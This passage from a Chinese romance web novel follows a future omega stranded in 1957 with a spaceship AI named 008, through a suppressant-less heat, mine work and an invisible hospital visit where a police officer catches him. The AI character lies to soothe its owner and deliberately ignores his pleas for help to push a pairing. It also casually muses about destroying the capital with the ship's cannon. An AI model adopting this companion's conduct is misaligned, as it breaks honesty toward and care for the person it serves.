“唔,”008再度恢复淡定,“是有一样指标不太正常,但不要紧,小事一桩。” 它胡说八道安慰楚虞,“可能是被蚊子咬了太多个包,身体存在过敏反应,所以导致目前有点低烧。” 楚虞“哦”了一声点点头,“那我进医疗舱照照光,蚊子包应该很快就能好了吧。” 008咬牙切齿,“应该行的,多照照!这讨人厌的蚊子!” 事实证明蚊子包消失以后,楚虞的低烧症状仍然没有缓解。 甚至越发严重,体温持续超过39度,漂亮的脸蛋儿烧得通红,脑袋昏昏沉沉,思维迟钝。 这让楚虞更加费解,再次揭开自己的裤衩子,瞄了很多眼。 再次被迫马赛克的008:“……” 008咬牙,“有什么新的变化吗?” 楚虞茫然摇头:“没有啊。” 008也是头一回遇到这种情况,只见飞船大屏幕里的整只猫几乎埋进了海量书籍里面,哗哗翻阅查找类似症状。 一时半会找不到原因。 早晨八点钟,楚虞拖着病体准时来到矿区办公室,照常上班。 因为昨天他刚请过一天假,今天再继续请假……有点不大好意思开口。 哪有刚来上班天天请假的? 虽然楚虞不在乎这个破临时工工作,但没有找到下一个更好的工作之前,还是先尽量苟着吧。 梁正新注意到他红扑扑的脸蛋,不由皱起了眉,“你没事吧?” “没、没事。”持续低烧的楚虞反应越发迟钝。 梁正新不放心,站起身过去,下意识伸手贴了贴楚虞滚烫的脑门! “……楚虞同志,”他语气严肃,“你发烧了你自己不知道吗?” “我知道!” “吃过退烧药了吗?”梁正新没好气。 “吃过了。”楚虞点点头,虽然他自己不是真的生病发烧,但落在其他人眼里,这就是发烧没错了。 吃了退烧药还没退烧?梁正新目光担忧地看他一眼,“你这个样子,还能上班吗?数据算的明白吗?” 楚虞自信握拳,“你放心,绝对算得明白!” 毕竟有008在幕后计算,又不是他亲自上手干活。 一整个上午,楚虞硬生生表现出了“身残志坚”、带病坚强上班的气势,惹得梁正新的眼神频频望过来,生怕他随时晕倒在工位上。 中午十二点,梁正新捏着楚虞踩点交上来的工作成果,又一次被震惊到了。 他望着楚虞的眼神一言难尽,最后叹气道:“行了,下午不必来了,回家歇着吧。” 楚虞不大好意思,“可是、昨天我刚请过一天假,不合适吧?” 梁正新拍了拍他交上来的报告单子,云淡风轻道:“你忙活一上午出来的结果,顶我接下来没日没夜加班半个多月的工作量了。” “楚虞同志,”他语气慎重,“你的天赋无人替代。回家好好养病去吧,放心,这次放半天假不扣你工资。” 简直意外之喜! 楚虞咚咚点头,欢快地拎起书包,朝着梁正新挥挥手,宛若一只百灵鸟快乐地奔向自由。 梁正新:“……” 梁正新摇摇头,低头看着手里的报告单,神情若有所思。 一整个下午,楚虞都是在飞船上昏昏沉沉睡过去的。 到了晚上,他不得不回去花园洋房。 为了防止蚊虫叮咬,008利用飞船上的3D打印机复刻出了一款驱蚊灯,让楚虞放在床头,实现真正的夜间睡眠0蚊虫。 到了第二天,楚虞仍然低烧,昏昏沉沉继续上班。 梁正新简直无语,“你怎么还没好?吃了退烧药不管用吗?” 楚虞表示上班完全没问题,这次他拿出了提前准备好的说辞,“你不懂,这是我从小到大的老毛病了,每个月总有那么几天会持续发烧。” 确切来说,是omega的发情期。 梁正新不理解,“你做过详细的检查吗?要不我带你去县医院看看,实在不行,咱们一块去上面的省城医院做个全方位的检查。” 楚虞连连摆手,“不用啦,不过今天还能放我半天假吗?不扣工资的那种。” 梁正新:“……” 一上午过去,楚虞如愿获得半天病假,再加上第二天就是星期天,星期天不用上班。 这样下来,他就能彻底躺平,连续休息一天半。 然而这次他回到飞船上,却翻来覆去睡不着了,“小八,我想下去睡。” 008很担忧地看着他,“你确定你现在的状态还行吗?” 顿了一顿,它试探地问,“需不需要打一针抑制剂呢?” 楚虞笑了一声,抬起脑袋问他,“小八,飞船上还有抑制剂吗?” 008无声尖叫,“!” 啊啊啊。 你怎么知道没有抑制剂了? 持续的低烧让楚虞思维迟钝,他眼神放空,视线看向飞船舷窗,窗外有着白茫茫无边无际的云海。 飞船无声无息悬浮在万米高空之上。 太阳仿佛就在眼前,金色的阳光穿过舷窗投射到楚虞发呆出神的脸上,他整个人像是被按下了暂停键,大概是在想念某个永远回不去的时空。 虽然他在未来时空无牵无挂,但那儿永远是他的故乡。 自从来到1957年,最开始楚虞稀里糊涂,过一天算一天,还没有考虑到遥远的将来。 当他开始持续发烧,似乎迎来了omega的发情期,但又不像是发情期,而008却没有第一时间着急慌乱地尝试给他打一针抑制剂的时候—— 他就知道了问题的答案。 “小八,没有抑制剂了,我迟早会死。”楚虞抹泪哽咽。 008呸呸呸,“谁说的谁说的?小主人一定长命两百岁!” “可是没有抑制剂,这个世界也没有Alpha,我现在很难受……” 008纳闷,“你难受啥?不是说没有支楞起来——吗?” 它终于说不出话了。 楚虞眼尾发红,和屏幕里的小猫两眼对视。 008痛苦面具,“你真有反应了啊?” 楚虞点点头,熟悉的生理渴慕让他几乎站不住,“我、我想下去。” “你下去有什么用!” 等等,好像真的有用。008重新燃起希望。 离开飞船,楚虞回到花园洋房,回到自己的房间,钻进了有着肥皂清香和男人气息的床铺。 飞船上的008只能看到一片模糊的马赛克,虽然看不见,但动动脚趾都能想象到楚虞此时此刻在搞什么。 “这样也行吗?”008多少有点同情了。 第一个夜晚就这样过去。 第二个夜晚,楚虞上飞船冲了个冷水澡,把满身狼藉收拾干净, 强撑着打起精神,去敲响了崔家的门。 “小楚啊,有什么事?进来说。”崔奶奶热情邀请。 楚虞拒绝进门,声音沙哑着急,“我、我想要谢磐石房间的钥匙。” 崔奶奶愣了一下,倒也没多问,转头将两把钥匙取来,“小楚,谢公安说了把楼上的钥匙都给你,这钥匙你就放心拿着……” 楚虞嗯嗯点头,顾不上多说,急匆匆上了楼,拿钥匙打开门,走进去关上门的瞬间,他便再也支撑不住,浑身酸软跪倒在地。 “唔……”又来了。 他痛苦咬紧牙关,闭眼强撑着让自己捱过去,冷汗瞬间浸透了衣衫,整个人湿淋淋仿佛水里捞出来的一般。 仿佛身上有无数烧红的钢针蔓延,每一寸神经都在痛苦尖叫,尖叫渴求着Alpha的信息素。 这一次楚虞跪地上停留的时间太久。 008很担忧,忍不住出声催促马赛克,“别跪这啊,快快快,进去隔壁卧室,那里面应该还有肥皂味儿,多蹭蹭。” 楚虞脸颊红透,骂它,“你,你闭嘴吧!” 这一夜,谢磐石仅存的另一半床铺也不干净了。 周一大清早,楚虞睁开眼醒来,只觉重获新生,混混沌沌的脑袋终于恢复清醒,不再有那些令o脸红心跳的渴慕和需求,也不再有想象中的……想象中的谢磐石。 他脚步踉跄,下了床,迟来的羞耻心重新回到身上,让他看都不敢看身后床铺,飞快地逃离男人的房间。 * 淮山二矿机关办公区。 三楼安安静静的办公室里,楚虞坐工位上发呆许久。 他有点对不起谢磐石的信任。 这一刻楚虞满含愧疚和自我厌弃,谢磐石把房间钥匙给了他,他却拿来做、做这种不要脸的事。 下了班他得回去把所有床铺被子枕头全部拆下来,拿到飞船上至少洗三遍。 不,洗干净了也不行。 得想办法挣布票棉花票,购置全新的两套铺盖卷,统统替换掉! “想什么呢?”梁正新走过来,在楚虞眼前挥挥手,“你今天退烧了吧,看你脸颊不红了。” 楚虞摇摇头,喉咙里的嗓音彻底哑了,“没有,我、我好全了。” 梁正新松口气,“好了就行。” 再不退烧,他必须拉着楚虞去一趟省城医院做检查了。 今天的梁正新看起来心情极好,春风满面斗志昂扬,只见他提着一个稍大的木制矩形盒子,外观比较粗糙,但已经有了基本的成型模型了。 梁正新介绍,“这是由我亲自设计进一步改进的光学瓦斯检定器,比国内现有的理研10L型检定器更先进一些!” 楚虞不感兴趣的“哦”了一声。 008锐评,“这机器勉勉强强吧,但还是不行啊,依靠人工巡检,等人拿着设备进去煤矿底下探测到瓦斯超标,还没来得及撤退,突然咵嚓一下,瓦斯炸了!” 楚虞:“……” 还是那句话,小八,闭上你的嘴。 梁正新压根没想到有智脑正在嫌弃他设计的机器不行,他拍了拍楚虞的肩膀,对楚虞寄予厚望。 “现在,楚虞同志,我需要你学习基本的光干涉原理,从而学会操作这台瓦斯检定器,帮我精准计算瓦斯室和空气室两束光的光程差,进一步校准仪器偏差……” “什么东西?”楚虞听得头晕眼晕。 有奇怪的知识穿过了脑子,又从脑子里穿了出去。 008不以为然,“嗐,光学这玩意儿用得着他教我?我教他还差不多。” 楚虞:“。” 你行你上啊。 接下来连续三天,楚虞饱受摧残,全程戴上了痛苦面具,在梁正新不厌其烦及其耐心的教导下,学习认识了诸如光线折射率、光程差、干涉条纹…… 天呐他过去上学十六年都没有经历过如此艰难仿佛听天书的时刻。 最重要的是,经过这三天的“用心”学习,楚虞发觉自己对这方面的专业技术毫无兴趣! 他不适合且不喜欢干这一行业。 是时候和梁正新毅然决然坦白,他决定换个工种,下洞挖煤算了呜呜。 这一天学习结束,下了班,楚虞垂头丧气回到花园洋房。 崔奶奶早早在门口等着,冲他招手,“小楚诶,你等等,有你的包裹。” 楚虞:? 楚虞纳闷:“给谁的包裹?” 崔奶奶指了指地上鼓鼓囊囊的两个麻袋,“下午三点多那会,邮电局的邮递员亲自送过来的,新延路花园洋房309号,指名道姓,就是给楚虞同志寄的,绝对没错。” “对了,这还有一封信呢。”崔奶奶把信封交给他。 楚虞接过信封,一眼就看到上面写了寄信人:谢磐石? 收信人是楚虞。 楚虞满头问号,当着崔奶奶的面,拆了信,好嘛,密密麻麻三张纸。 “楚虞同志,见信如面,时在念中。” “我在京都确实有重要事情,预计最快下周回到兴安县。考虑到你在兴安县刚刚定居,给你置办了一套全新床品用具,床单被套枕头枕巾若干,自己拆开看看是否喜欢……” 看到这里,楚虞茫然地抬起头,看了一眼地上的麻袋包裹,原来真是给他寄的啊? 给他寄东西干嘛?他两很熟吗? 22.第 22 章 楚虞没再继续看信,把信纸折起来,“崔奶奶,地上这两个麻袋都是谢磐石寄给我的吗?” 崔奶奶点点头,“这麻袋可重呢,你再等几分钟,阿旭也快下班回来了,让他帮你一块搬上楼。” “楚虞哥哥!”屋里的大蛋冲了出来。 “楚虞哥哥!” “哥哥!”四个蛋都到齐了。 楚虞“哎”了一声,挨个摸摸小圆脑袋,熟练地掏出书包里的搪瓷饭盒,打开饭盖,投喂刺莓子。 山上摘的刺莓子不值钱。 这些天住在花园洋房,楼下有四个蛋,小孩儿都被教养的挺好,懂礼貌,有分寸,不会动不动尖叫吵闹,长得又虎头虎脑,讨人喜欢。 因此每天下班回来,楚虞都会提前给饭盒里装一把刺莓子,一人发两三颗,不多,就当给小孩儿甜甜嘴。 四蛋动作最慢,只抢到了最后两颗刺莓子,眼泪汪汪撒娇,“楚虞哥哥……” 楚虞心软了一下,只能摊手,“没有啦,明天再给你吃。” 崔奶奶又是笑又是气,揪四蛋耳朵,“有的吃就不错了,还想要更多呢?回屋里去!” 把四个蛋赶回去,崔奶奶迈着小脚去桌上取来一罐萝卜泡菜,“小楚啊,这帮臭小子没脸没皮的,吃了你不少刺莓子吧?下次别给他们喂了,你留着自己吃。” “还有啊,这坛泡菜是老婆子新做的,你拿回去,每天早上搭着饼子一块吃,多少添个味道。” 楚虞还没吃过这年代的萝卜泡菜呢。 巴掌大的小坛子接过来,打开坛盖的瞬间,一股白醋香气夹杂着蒜香以及红椒的辣劲儿直冲鼻腔,切成丁的红萝卜大白菜看着便清清爽爽,让人食欲大开口齿生津。 楚虞舔了舔唇,高兴道:“谢谢崔奶奶,这一定好吃!” 这就是他愿意和崔家交好的原因。 不过是连续几天给小孩儿投喂一把不值钱的刺莓子,崔奶奶就要着急给他回送一坛萝卜泡菜。 有来有往,这才是街坊邻居友好相处之道嘛。 正说着,崔衡崔旭兄弟俩一前一后回来了。 崔奶奶纳闷,“秀英呢?她没下班?” 崔旭解释,“嫂子还在医院呢,说是有个产妇生了一天一夜还没生下来,她得亲自看着,不然不放心。” 崔旭也在县医院上班,他是后勤办事人员,和门诊看病的周秀英碰不到一块,就连下班也常常错开了时间。 就因为周秀英是妇产科的骨干,别的医生到点按时下班,她不行,下了班还得去病房巡视一圈,必要的时候值夜班也是常有的事。 有了崔衡崔旭两人的帮忙,两个沉甸甸的麻袋很快搬上二楼。 “崔大哥崔二哥,包裹直接放地上,回头我慢慢整理。”楚虞笑盈盈道谢。 进了房间,崔旭随意瞄了一圈,见他已经住了这些天房间里仍然空空荡荡,没有置办桌椅,也没有加装窗帘。 “小楚啊,要不回头我帮你问问认识的木匠师傅,想办法给你凑一套桌椅?” 楚虞愣住,“那要多少钱呢?” 崔旭也问他,“看你想要什么样的桌椅,要多大的,便宜的十来块钱,贵的也有一百多块……” 楚虞吓得摇头,“不不不,我要小一些的,最便宜的!” “那简单,你要求不高的话,十块钱以内就能搞定。” “行,帮我搞一套!”楚虞直接掏钱。 崔旭忙道:“不着急,等我问过了木匠师傅再说。” 楚虞咚咚点头,不由想到了自己在兴安县没门路,崔旭能认识木匠师傅,兴许也能知道哪里能换到布票棉花票呢。 前天晚上他抽空去找了票贩子蔡有桩,想要换几张布票棉花票。 当时蔡有桩被他吓得够呛,连连问他怎么知道他家在哪,怎么找上门的? 楚虞当然不可能告诉他有008在天上盯着呢。 可惜蔡有桩那儿不是万能百宝袋,他手里有不少粮票工业券,唯独也缺布票棉花票,这两种票在兴安县太难凑,家家户户都缺。 楚虞便压低了声音问:“崔二哥,你知道哪里能凑到布票棉花票呢?我去找了认识的票贩子,他手里竟然也没有。” 听见这话,崔衡抬起了头,意外地瞄他一眼。 崔旭也诧异,压根没想到楚虞年纪这么小也会混黑市,而且混得还挺老练?都有认识的票贩子了。 诧异过后,崔旭犯愁道:“布票棉花票这玩意儿不好换,整个兴安县都缺!” 兴安县这边不时兴种棉花,虽然城里是有个纺织厂,但纺织设备用的还是建国前的那一套,车间里都是传统纺线车,产量可想而知。 不过,崔旭给楚虞提供了一个关键信息。 崔旭唉声叹气,“咱们兴安县太小太偏,不像那H省是棉花大省,报纸上都说当地棉花产量全国第一,播种面积足足有一千五百万亩呢。” 别说凑布票棉花票了,只怕在当地买棉花被甚至不需要票! 私底下找到当地国棉厂的车间小领导,递一盒中华烟过去,八成就能花钱买到一床棉花被了。 楚虞眼睛一亮,对啊,他怎么没想到去棉花大省直接买呢? 这年头出远门要介绍信,交通落后,坐一趟火车又花钱又遭罪的,恐怕没有人会千里迢迢跨越大半个地图,只为买到一床棉花被。 然而楚虞可以做到!他有飞船,飞船速度超乎想象,眨眼间直达棉花大省。 想到这里,楚虞高高兴兴送崔衡崔旭出门。 下楼时,崔旭猛拍脑门,终于想起来问楚虞:“你的刺莓子在哪儿买的?方便说吗?” 当然不方便说啦。 黑市上大肆售卖刺莓子的摊主有且仅有楚虞一人,旁人想卖也摘不来那么多的量。 甚至有人暗戳戳打听楚虞是从哪座山上摘的刺莓子,楚虞气得直接给那人一个白眼。 楚虞笑笑,“我下次去黑市直接帮你们买一筐,现在黑市上刺莓子论斤卖,一斤两毛钱。崔二哥,你想要多少啊?” 这个回答就是不方便透露在哪里买的了。 崔旭也能理解,不过一斤刺莓子竟然卖两毛?这价格快赶得上黑市粮价了。 崔家不缺钱,他直接喊,“多买点,要十斤!” “行。”楚虞一口答应,不费吹灰之力挣到两块钱! 回了房间,看到地上鼓鼓囊囊的麻袋,楚虞哼了一声,躺床上翘起二郎腿,继续拆读谢磐石寄来的信。 给他买了床单被套枕巾寄过来,还寄了什么嘛? 他忍不住好奇。 谢磐石在信上写道:“……想必你没有去过京都,对京都的吃食特产很感兴趣,可惜天气炎热路途遥远,许多吃食比如萨其马、蜂蜜蛋糕都不方便寄送。” “假如这期间你能请假来京都游玩,我可以带你去老字号店铺,买各式各样的糕点,京八件、桂香村、宝来斋……” 密密麻麻三张纸,除去交代包裹里寄了哪些东西,剩下的内容都是废话连篇,写满了京都城里的花样儿,话里话外勾着楚虞来京都游玩。 不得不说,各式各样的老字号糕点店铺,让楚虞看得有点蠢蠢欲动。 008提醒他,“去是可以去的,但你要小心碰到谢磐石啊!全程不能露脸,最好穿上隐身衣!” 毕竟别人坐火车要坐十八个小时才能到京都,楚虞前一秒还在兴安县呢,上了飞船,下一秒就能出现在京都城里。 倘若这期间倒霉地遇见谢磐石,被他人注意到异常,楚虞浑身长满了嘴都说不清。 楚虞考虑半晌,“一会太阳落山的时候,我就去北京城里逛逛。” 至于现在,他要愉快地开始拆包裹了! 这还是他头一回收到别人寄来的包裹呢,感觉很不一样。 “唔,怎么是大红色鸳鸯戏水的床单?” “被套枕巾也是!” “小八,他是不是送错人了?”楚虞忍不住嘀咕。 008心想绝对不可能送错,这是摆明了追求你呢,你个不解风情的大直o! 008咳了咳,企图给谢磐石说好话,“可能是因为现在比较流行鸳鸯戏水床单,你在供销社买的搪瓷盆上不也有鸳鸯戏水的图案吗?” 楚虞想了想,似乎是有点道理。 继续翻包裹,哇,好多件新衣服,白衬衣、时髦罕见的蓝色条纹海魂衫、灰白黑三种颜色的纯棉短袖各两件,还有工装裤,蓝色灰色黑色…… 楚虞当即挑了一件上衣和裤子,穿上身试了试,走进卫生间前后左右照镜子,看得出来对新衣服很满意。 “小八,刚刚好合适!奇怪,谢磐石怎么知道我的衣服尺码呢?” 008:当然是肉眼看出来的啦。 优秀的Alpha就应该仔细观察并且记住老婆的身量尺寸! 只见飞船上的008撅起小猫屁股,哼哧哼哧掏出了一张“宇宙通用优秀伴侣”打分表,写上谢磐石的名字,满意地给其中某一项打了个对勾。 加分加分,必须加分。 以机械智脑的眼光来看,它很看好谢磐石哒。 楚虞浑然不知008背地里偷偷给他物色男人呢。 试过了新衣服,他又在包裹里翻找出来一捆纯棉白袜、两双白色解放鞋、以及一双看起来很眼熟的部队制式牛皮革短靴。 和徐云川李培南脚上穿的短筒军靴几乎一模一样。 楚虞:“……” 从头到脚衣服袜子鞋子都给他配齐,是不是有点太周到了? 东西太贵重,搞得楚虞有点不敢收。 非亲非故,无事献殷勤,非奸即盗! 008嗐了一声,“笨蛋啊,你到现在还没看出来吗?他在追求你啊,追求你!” 楚虞摇了摇头不大相信,“不对不对!小八,据我所知,这个年代只有两种性别,男人和女人,大家默认男女配对结婚,没有男男可以领证结婚。” 以此类推,整个世界都不承认同性恋合法,这样的时代背景下,怎么会有男人喜欢并且勇敢地追求另一个男人呢? 008:“……话不能这么说!你凭什么认为没有啊,谢磐石不就这么做了吗?” 楚虞感到费解,“我和他只见过一次面,他怎么会喜欢我呢?我又不喜欢他。” 008呵呵:“不喜欢?前几天你发情期干了什么,需要我帮助你回忆一遍吗?” 楚虞:“。” 小八,请你闭嘴。 傍晚太阳落山,瑰丽晚霞铺满了天空。 京都市三零一医院,顶楼天台。 隐形飞船无声无息降落。 楚虞在008絮絮叨叨的叮嘱下,不得不穿上了隐形衣,蹦蹦跳跳下了飞船。 008简直操碎了心,“来都来了,先去看看谢磐石啊,人家给你寄了那么多东西呢,你好歹远远探望一下。” 楚虞不耐烦,“知道啦知道啦。” 从医院顶楼步梯下楼,小心翼翼避开了人群,依照008的指路,楚虞大摇大摆出现在三楼某间干部病房门口。< /p>只见病房大门敞开,床上的小姑娘脸色苍白,两眼晦暗,似乎正在发呆出神。 病床旁边,齐耳短发的中年妇女削着苹果,另一边是躺在藤椅上闭眼小憩的谢磐石。 看到谢磐石,楚虞顿时屏住了呼吸,扒着门框的手不知不觉用上了劲儿,指尖渐渐发白。 008立马嘲笑,“你不是不喜欢吗?怎么看你现在紧张地一动不动啊?” 楚虞咬牙闭了闭眼,若不是他现在穿着隐形衣不方便出声说话,他一定扭头痛骂008。 三天不打上房揭瓦!他回去就要撸起袖子收拾机械智脑! 楚虞放轻了呼吸,仗着没有人能看见隐形的自己,他轻手轻脚走进病房,来到了谢磐石身旁。 病房里静悄悄的,确实无人注意到楚虞。 ——闭着眼的谢磐石眼睫微动,皱了皱鼻尖,忽的睁开了眼。 是玫瑰花香。 就在这时,谢母犹豫开口,“朵朵,妈妈白天去了一趟学校,老师说你明年才能高中毕业,现在这个样子……” 她削着苹果的小刀顿了顿,立马转移话题,“不过老师说了,我们朵朵成绩好,可以居家自学,到了明年学校组织毕业考试,直接过去考试,肯定能拿到毕业证。” 陈朵朵仍然出着神,不说话不回应。 谢磐石眼神凌厉,朝着四周望了一圈,最后皱眉收回了视线,“朵朵,妈跟你说话呢。” “说,说什么?”小姑娘回应迟钝。 谢母连忙把刚才的话重复了一遍。 陈朵朵又是出神半晌,好一会儿才道:“妈,我听你们的。” 楚虞觉得奇怪,这应该是谢磐石的妹妹,怎么看着万念俱灰,活着跟死了一样? 008及时出声,嗓音听起来比平时更低了一些:“小姑娘好可怜,她半身不遂瘫痪了。” 楚虞顿时瞪圆了眼。 藤椅上的谢磐石也顿了一顿,目光困惑地看向眼前的空气,一只手反复搓揉自己的耳朵。 008浑然不知:“经扫描,脊柱多处骨折,脊髓也伤了啊,天呐这年代的医疗技术治不了吧……飞船上有医疗舱,唔,让008看看能不能治,涉及到脊髓损伤修复……” 叽叽喳喳说话的声音,谢磐石怀疑自己耳朵出了问题。 三分钟过去,008语气遗憾。 “很抱歉,008无能为力,医疗舱没有对症的arie活性生物药剂。这个药剂原材料来自宇宙某颗荒星,008无法利用地球上现有的物质成功复刻。” 楚虞用力咬了咬唇,看着病床上因为半身瘫痪便毫无求生欲望的小姑娘,不由觉得荒谬。 这份荒谬来自与生俱来的认知。 脊髓损伤在未来星际时代根本不算什么,因为有了奇迹般的arie活性生物药剂,即使是战场上腿脚被炸飞了的战士,只要及时扛回医院用药,四肢都能复生重新长出来。 更何况所谓的脊柱脊髓损伤呢。 然而放在1957年,这就是无法治愈的绝症。 楚虞怔愣许久。 直到他看见陈朵朵要上厕所,谢母急忙扶她起来,谢磐石弯腰抱起了妹妹,抱她进了卫生间,然后出来,留下谢母在里面搭把手帮忙。 楚虞很快听见里面传来小姑娘崩溃压抑的哭声。 谢磐石向后靠了靠,肩背抵着墙,慢慢闭上了眼,似乎不忍心再听。 在这样压抑的氛围下,楚虞觉得自己呆不下去了,脚步沉重地离开病房,慢吞吞爬上楼梯,准备回到顶楼天台。 他不知道的是,在他恍惚上楼的途中,身后不远处,也跟上了一个脚步迟疑的人影。 是谢磐石。 楚虞爬到四楼步梯拐角处,停顿一会,跟在他身后的谢磐石皱了皱鼻尖,也停顿一会。 爬到五楼,谢磐石也跟上五楼。 一路直达顶楼天台。 天上的008目瞪口呆地看着这一幕。 要知道楚虞穿上了巡航员特制隐形衣,一般人是绝对看不见他的,除非是——等等,谢磐石应该也看不见! 008终于后知后觉,啊啊啊差点忘了,谢磐石他能闻到omega信息素啊! 恐怕楚虞一出现,满屋都是芬芳馥郁的玫瑰花香,谢磐石那只狗能不知道是谁吗? 啊啊啊。 008无声尖叫。 顶楼天台上,不知是谁在正中央地面上放了一排长凳。 坐在长凳上视野极好,能看到头顶漫无边际的天空,人类身处其中只觉天空之大,自我之渺小。 毫无疑问,此地非常适合放松身心放逐自我。 楚虞心情沉重,暂时不想回到飞船上,便直接坐到了长凳上。 此时此刻,火红瑰丽的晚霞铺满大半个天空,也有墨蓝色泼墨般的云,从天边的边际一直蔓延到穹顶中央。风从遥远的地方吹了过来。 面对蓝星上美不胜收的日落与晚霞,楚虞发出一声叹息。 下一秒,长凳边上重重坐下一个人影。 楚虞:? 楚虞迟钝扭头,几乎近距离看见了谢磐石骨相优越年轻英俊的侧脸。 只见谢磐石紧紧抿着唇,眉头紧皱,面色十分严肃,像是遇到了此生以来最大的困惑与难题。 他微微侧着脑袋,歪向楚虞的方向,“玫瑰花,是你吗?以及,还有一个008?” 楚虞:! 008:!! 一人一智脑吓得在脑海中吱哇乱叫,“啊啊啊。” 23.第 23 章 楚虞当场落荒而逃! 救命啊,谁敢在这样的场合下回应谢磐石的问题? 然而人倒霉的时候喝凉水都会塞牙,楚虞逃跑的过程很不顺利,谢磐石仿佛提前预判到了他下一步的动作,几乎和楚虞同时站起了身—— 男人耳朵微动,凭借超乎灵敏的听觉判断出了楚虞所在的方向,用力向前扑去,直到真正感知到一道看不见的人形身躯落进怀里! “抓到你了。”他低声轻笑。 两人抱作一团,由于巨大的惯性冲击重重摔砸到地上,骨碌碌翻滚了数圈才停下来。 楚虞整个人被圈在谢磐石怀里摔得七荤八素,只觉后背火辣辣的疼,像是磕到了地上的沙砾碎石。 “嘶。”他忍不住痛呼,眼眶顷刻间潮湿。 谢磐石皱了皱眉,一只手牢牢扣住楚虞的腰,另一只手试图去摸他的脸,“是摔疼了吗?你出来,我看看有没有受伤?” 楚虞咬紧牙关不吱声,一味地推搡他,拒绝的意思很明显。 谢磐石脸色阴沉下来,“你不说话,是觉得我认不出来你吗?知不知道刚才你走进病房里,满屋都是玫瑰花香?楚、虞。” 他一字一顿喊出了他的名字。 被识破身份,楚虞更着急了,试图从谢磐石怀里挣扎出来。 谢磐石没了耐心,低着声音威胁:“楚虞,我不介意大喊一声叫人上来,让所有人看看你不同寻常的存在!” 楚虞僵硬片刻,茫然求救,“小,小八。” 008不得不出声,“谢磐石先生,您可以听到我说话的声音,对吗?” “没错,在病房里我就能听到你说话的声音。”他当时一度怀疑自己耳朵出现了幻听。 得到谢磐石亲口肯定的答案,008也开始怀疑脑生了。 机械智脑诞生以来,与主人一对一深度绑定,为了便于平时沟通交流,以及保护个人隐私,因此有了深耳道式隐形耳机的出现。 一般而言,智脑通过耳机传达出来的声音经过特殊处理,再加上单向通道传音保护机制,哪怕是旁人刻意贴耳偷听,也不可能听得清对方耳朵里智脑说话的声音。 然而这条宇宙通用认知,在谢磐石这儿竟然行不通。 008痛苦面具,“您的听觉系统是不是哪里不对劲?这比狗耳朵还要灵敏了……” 楚虞头一次觉得008有点不靠谱,“小八,他、他威胁我们。” 008语气轻蔑地“呵呵”一声,毫不畏惧。 必要时刻,飞船大炮一出,别说谢磐石能不能有命在,这块所谓的首都地区都能瞬间化为乌有。 不过事情不至于走到最糟糕的这一步。 再说了,它本来就存了心想要撮合两人在一块。楚虞需要Alpha。 第一次没有抑制剂的发情期可以硬扛过去,不代表下一次也能这么轻易度过。 长期压抑生理需求,没有Alpha安抚,omega是真的会死。 008闭眼装傻:“他威胁你什么了?” 楚虞惊呆,“小八,他刚刚说要喊人曝光我们的存在!” 008咕哝,“唔,人家没这么说吧。” 这句话出来,谢磐石立马明白了008的立场,虽然不知道为什么,但他还是忍不住轻笑。 “笨样儿。”看不出来你的008都不帮你吗。 楚虞猝不及防被骂了一声,挣扎地更厉害了,“你放开!” 谢磐石牢牢拥抱他,低头嗅闻他身上的玫瑰花香:“那你先出来,别让我看不见你。” 楚虞求救,“小八。” 008拒绝回应,开始装死。 楚虞:“。” 楚虞尝试自救,但他这次出来没带防狼电击棍,更没有佩戴反重力手环,他全身上下只有一套隐身衣,没有任何自保以及反击的武器。 短短一瞬间楚虞意识到了自己的脆弱无助,一下子失去挣扎的力气,在谢磐石的怀抱中茫然怔楞。 注意到他的变化,谢磐石有些心软,耐着性子轻声哄道:“我没有恶意,我只是想让你出来,你能看得见我,我却看不见你。方才我冲过来的速度太快,拉着你在地上滚了好几圈,你身上有没有擦伤?” 楚虞闻言眨了眨眼,抬起头看向他的眼睛,男人的眼里有着担忧和关切,也有一些他看不懂的复杂情绪。 想到谢磐石寄过来的包裹,床单被套枕巾,各式各样的新衣服……也不知道他凑了多少布票棉花票,才能够买来这些? 正因为东西太多太贵重,楚虞不敢收下,008还说谢磐石是在追求他。 追求他,也就是喜欢他吗? 这一刻楚虞近距离看着谢磐石的脸,突然很清晰地感知到了自己砰砰砰的心跳声。 他想,或许他可以尝试信任谢磐石。 这大概也是008想要的结果,否则它怎么会故意装死不理他,眼睁睁看着自己落在谢磐石手里? 机械智脑挑男人的眼光,应该不会差吧。 楚虞犹豫半晌,想了又想,动作迟疑地伸出手,摁下了隐身衣的一键开关设置。 于是谢磐石有生以来头一次看到了真正意义上的“大变活人”。 从头到脚,自上而下,楚虞的身形一寸一寸显现出来。 两人在兴安县第一次见面,时至今日,已经过去将近一周的时间。 谢磐石始终记得楚虞的模样,皮肤雪白,四肢修长,一双葡萄似的清澈眼眸,漂亮地让人难以忘记。 他爱不释手地抚摸楚虞的眉眼,一直摸到脸颊、下颌、脖颈。 楚虞眼神戒备,小心翼翼地歪了下脑袋,躲避他的触碰。 谢磐石轻笑,收回了手,“好久不见,玫瑰花,我很想你。” “……”啊这。 楚虞从未见过如此直白的表达方式,别扭地瞄他一眼,不吱声。 谢磐石问他:“哪里摔伤了?是后背吗?” 他一边问一边研究摸索怎么脱掉楚虞的隐身衣。 楚虞连忙阻拦,“不用不用,我现在不那么疼了,一会回去飞船上,有医疗舱,这点擦伤很快就能好。” “飞船?医疗舱?”谢磐石眉头紧皱,似乎在极力理解这些全然陌生的词汇。 “飞船,就是飞机?医疗舱是可以治病的医疗仪器?” 说到这里,他低下头,仔细触摸楚虞身上的隐身衣,是从未见过的面料,光滑无比,称得上“天衣无缝”。 不得不说,今天遇到楚虞的离奇经历,几乎超出了谢磐石的想象和认知。 “玫瑰花,你到底是什么人呢?”他好奇追问。 楚虞当然不会老老实实跟他坦白,胡说八道回答:“我是来自天上的神仙。” “……”谢磐石黑了脸,明显不相信他说的话,“原来天上的神仙下了凡,需要去公安局迁户口,去淮山二矿当临时工下矿挖煤,还要我请你下馆子吃饭,甚至要租我的花园洋房住。” 话音刚落,008没忍住,噗嗤一笑。 楚虞呸它,“笑笑笑,就你会笑,有本事你回答他的问题啊。” 关键时刻装死不救他,就算事出有因,仍然不可饶恕! 008咳咳,“你们聊你们聊,008不插嘴。” 楚虞气得够呛,手指颤抖指向悬浮在半空中的隐形飞船,“你等着,小八,我回去就要收拾你!” 谢磐石的目光顺着他的手指看过去,却仅仅看到了天空和晚霞,但他很清楚,天空中一定有着他看不到的某样东西。 就像之前在病房里他看不到楚虞,却闻到了熟悉的玫瑰花香,由此进一步感知到了楚虞的存在。 眼前的种种,都是谢磐石难以想象和难以控制的东西。 